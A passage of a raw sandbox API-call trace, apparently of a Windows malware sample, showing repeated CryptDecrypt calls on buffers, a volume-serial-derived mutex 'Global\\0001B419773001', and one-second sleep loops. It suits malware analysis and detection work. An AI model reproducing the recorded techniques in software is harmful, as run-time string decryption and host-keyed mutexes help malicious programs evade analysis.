	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.095] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.096] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.097] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.098] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] GetLastError () returned 0x0
	[0212.099] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd2b678, Size=0xa2) returned 0xd290f0
	[0212.102] WaitForSingleObject (hHandle=0x498, dwMilliseconds=0xffffffff) returned 0x0
	[0214.671] WaitForMultipleObjects (nCount=0x4, lpHandles=0x1afd60*=0x218, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 49
	os_tid = 0xb54


Thread:
	id = 52
	os_tid = 0xb38

	[0206.877] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd21210
	[0206.877] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x629300) returned 1
	[0206.877] CryptSetKeyParam (hKey=0x629300, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0206.877] CryptDecrypt (in: hKey=0x629300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21210, pdwDataLen=0xcaf6d0 | out: pbData=0xd21210, pdwDataLen=0xcaf6d0) returned 1
	[0206.877] CryptDestroyKey (hKey=0x629300) returned 1
	[0206.877] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd21238
	[0206.877] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd21260
	[0206.877] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21288
	[0206.877] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x628f80) returned 1
	[0206.877] CryptSetKeyParam (hKey=0x628f80, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0206.877] CryptDecrypt (in: hKey=0x628f80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21288, pdwDataLen=0xcaf6a8 | out: pbData=0xd21288, pdwDataLen=0xcaf6a8) returned 1
	[0206.877] CryptDestroyKey (hKey=0x628f80) returned 1
	[0206.877] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21288 | out: hHeap=0xd20000) returned 1
	[0206.877] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd21238, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0206.877] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21260 | out: hHeap=0xd20000) returned 1
	[0206.877] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21210 | out: hHeap=0xd20000) returned 1
	[0206.877] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0206.877] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21238 | out: hHeap=0xd20000) returned 1
	[0206.877] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd21210
	[0206.877] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x629580) returned 1
	[0206.877] CryptSetKeyParam (hKey=0x629580, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0206.877] CryptDecrypt (in: hKey=0x629580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21210, pdwDataLen=0xcaf704 | out: pbData=0xd21210, pdwDataLen=0xcaf704) returned 1
	[0206.877] CryptDestroyKey (hKey=0x629580) returned 1
	[0206.877] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd21258
	[0206.877] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0206.878] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x21c
	[0206.878] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0x0) returned 0x0
	[0206.878] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21210 | out: hHeap=0xd20000) returned 1
	[0206.878] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21258 | out: hHeap=0xd20000) returned 1
	[0206.878] ReleaseMutex (hMutex=0x21c) returned 1
	[0206.878] CloseHandle (hObject=0x21c) returned 1
	[0206.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1371f44, lpParameter=0x1, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c
	[0206.878] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd21210
	[0206.878] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x628e80) returned 1
	[0206.878] CryptSetKeyParam (hKey=0x628e80, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0206.878] CryptDecrypt (in: hKey=0x628e80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21210, pdwDataLen=0xcaf6d0 | out: pbData=0xd21210, pdwDataLen=0xcaf6d0) returned 1
	[0206.878] CryptDestroyKey (hKey=0x628e80) returned 1
	[0206.878] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd21238
	[0206.878] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd21260
	[0206.878] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21288
	[0206.879] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x629280) returned 1
	[0206.879] CryptSetKeyParam (hKey=0x629280, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0206.879] CryptDecrypt (in: hKey=0x629280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21288, pdwDataLen=0xcaf6a8 | out: pbData=0xd21288, pdwDataLen=0xcaf6a8) returned 1
	[0206.879] CryptDestroyKey (hKey=0x629280) returned 1
	[0206.879] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21288 | out: hHeap=0xd20000) returned 1
	[0206.879] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd21238, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0206.879] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21260 | out: hHeap=0xd20000) returned 1
	[0206.879] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21210 | out: hHeap=0xd20000) returned 1
	[0206.879] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0206.879] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21238 | out: hHeap=0xd20000) returned 1
	[0206.879] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd21210
	[0206.879] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x629280) returned 1
	[0206.879] CryptSetKeyParam (hKey=0x629280, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0206.879] CryptDecrypt (in: hKey=0x629280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21210, pdwDataLen=0xcaf704 | out: pbData=0xd21210, pdwDataLen=0xcaf704) returned 1
	[0206.879] CryptDestroyKey (hKey=0x629280) returned 1
	[0206.879] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd21258
	[0206.879] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0206.879] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x220
	[0206.880] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x0
	[0206.880] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21210 | out: hHeap=0xd20000) returned 1
	[0206.880] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21258 | out: hHeap=0xd20000) returned 1
	[0206.880] ReleaseMutex (hMutex=0x220) returned 1
	[0206.880] CloseHandle (hObject=0x220) returned 1
	[0206.880] Sleep (dwMilliseconds=0x3e8) 
	[0207.934] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd21440
	[0207.934] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x6460f8) returned 1
	[0207.934] CryptSetKeyParam (hKey=0x6460f8, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0207.934] CryptDecrypt (in: hKey=0x6460f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0xcaf6d0 | out: pbData=0xd21440, pdwDataLen=0xcaf6d0) returned 1
	[0207.934] CryptDestroyKey (hKey=0x6460f8) returned 1
	[0207.935] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd21468
	[0207.935] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd21490
	[0207.935] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd214b8
	[0207.935] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x6460f8) returned 1
	[0207.935] CryptSetKeyParam (hKey=0x6460f8, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0207.935] CryptDecrypt (in: hKey=0x6460f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd214b8, pdwDataLen=0xcaf6a8 | out: pbData=0xd214b8, pdwDataLen=0xcaf6a8) returned 1
	[0207.935] CryptDestroyKey (hKey=0x6460f8) returned 1
	[0207.935] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214b8 | out: hHeap=0xd20000) returned 1
	[0207.935] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd21468, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0207.935] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21490 | out: hHeap=0xd20000) returned 1
	[0207.935] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0207.935] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0207.935] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21468 | out: hHeap=0xd20000) returned 1
	[0207.935] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd21440
	[0207.935] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x646438) returned 1
	[0207.935] CryptSetKeyParam (hKey=0x646438, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0207.935] CryptDecrypt (in: hKey=0x646438, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0xcaf704 | out: pbData=0xd21440, pdwDataLen=0xcaf704) returned 1
	[0207.936] CryptDestroyKey (hKey=0x646438) returned 1
	[0207.936] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd21488
	[0207.936] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0207.936] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x3bc
	[0207.936] WaitForSingleObject (hHandle=0x3bc, dwMilliseconds=0x0) returned 0x0
	[0207.936] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0207.936] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21488 | out: hHeap=0xd20000) returned 1
	[0207.936] ReleaseMutex (hMutex=0x3bc) returned 1
	[0207.936] CloseHandle (hObject=0x3bc) returned 1
	[0207.936] Sleep (dwMilliseconds=0x3e8) 
	[0208.942] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd21440
	[0208.942] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645c38) returned 1
	[0208.942] CryptSetKeyParam (hKey=0x645c38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0208.942] CryptDecrypt (in: hKey=0x645c38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0xcaf6d0 | out: pbData=0xd21440, pdwDataLen=0xcaf6d0) returned 1
	[0208.942] CryptDestroyKey (hKey=0x645c38) returned 1
	[0208.942] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd21468
	[0208.942] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd21490
	[0208.942] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd214b8
	[0208.942] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645d38) returned 1
	[0208.942] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0208.942] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd214b8, pdwDataLen=0xcaf6a8 | out: pbData=0xd214b8, pdwDataLen=0xcaf6a8) returned 1
	[0208.942] CryptDestroyKey (hKey=0x645d38) returned 1
	[0208.942] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214b8 | out: hHeap=0xd20000) returned 1
	[0208.943] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd21468, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0208.943] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21490 | out: hHeap=0xd20000) returned 1
	[0208.943] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0208.943] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0208.943] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21468 | out: hHeap=0xd20000) returned 1
	[0208.943] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd21440
	[0208.943] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x6459f8) returned 1
	[0208.943] CryptSetKeyParam (hKey=0x6459f8, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0208.943] CryptDecrypt (in: hKey=0x6459f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0xcaf704 | out: pbData=0xd21440, pdwDataLen=0xcaf704) returned 1
	[0208.943] CryptDestroyKey (hKey=0x6459f8) returned 1
	[0208.943] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd21488
	[0208.943] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0208.943] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x490
	[0208.943] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x0
	[0208.943] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0208.943] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21488 | out: hHeap=0xd20000) returned 1
	[0208.943] ReleaseMutex (hMutex=0x490) returned 1
	[0208.943] CloseHandle (hObject=0x490) returned 1
	[0208.943] Sleep (dwMilliseconds=0x3e8) 
	[0209.983] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd21440
	[0209.983] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d78) returned 1
	[0209.983] CryptSetKeyParam (hKey=0x645d78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0209.983] CryptDecrypt (in: hKey=0x645d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0xcaf6d0 | out: pbData=0xd21440, pdwDataLen=0xcaf6d0) returned 1
	[0209.983] CryptDestroyKey (hKey=0x645d78) returned 1
	[0209.983] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd21468
	[0209.983] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd21490
	[0209.983] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd214b8
	[0209.983] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645e78) returned 1
	[0209.983] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0209.983] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd214b8, pdwDataLen=0xcaf6a8 | out: pbData=0xd214b8, pdwDataLen=0xcaf6a8) returned 1
	[0209.983] CryptDestroyKey (hKey=0x645e78) returned 1
	[0209.983] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214b8 | out: hHeap=0xd20000) returned 1
	[0209.983] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd21468, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0209.983] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21490 | out: hHeap=0xd20000) returned 1
	[0209.984] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0209.984] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0209.984] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21468 | out: hHeap=0xd20000) returned 1
	[0209.984] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd21440
	[0209.984] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645d78) returned 1
	[0209.984] CryptSetKeyParam (hKey=0x645d78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0209.984] CryptDecrypt (in: hKey=0x645d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0xcaf704 | out: pbData=0xd21440, pdwDataLen=0xcaf704) returned 1
	[0209.984] CryptDestroyKey (hKey=0x645d78) returned 1
	[0209.984] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd21488
	[0209.984] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0
	[0209.984] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x490
	[0209.984] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x0
	[0209.984] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0209.984] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21488 | out: hHeap=0xd20000) returned 1
	[0209.984] ReleaseMutex (hMutex=0x490) returned 1
	[0209.984] CloseHandle (hObject=0x490) returned 1
	[0209.984] Sleep (dwMilliseconds=0x3e8) 
	[0210.999] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd21440
	[0210.999] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645fb8) returned 1
	[0210.999] CryptSetKeyParam (hKey=0x645fb8, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
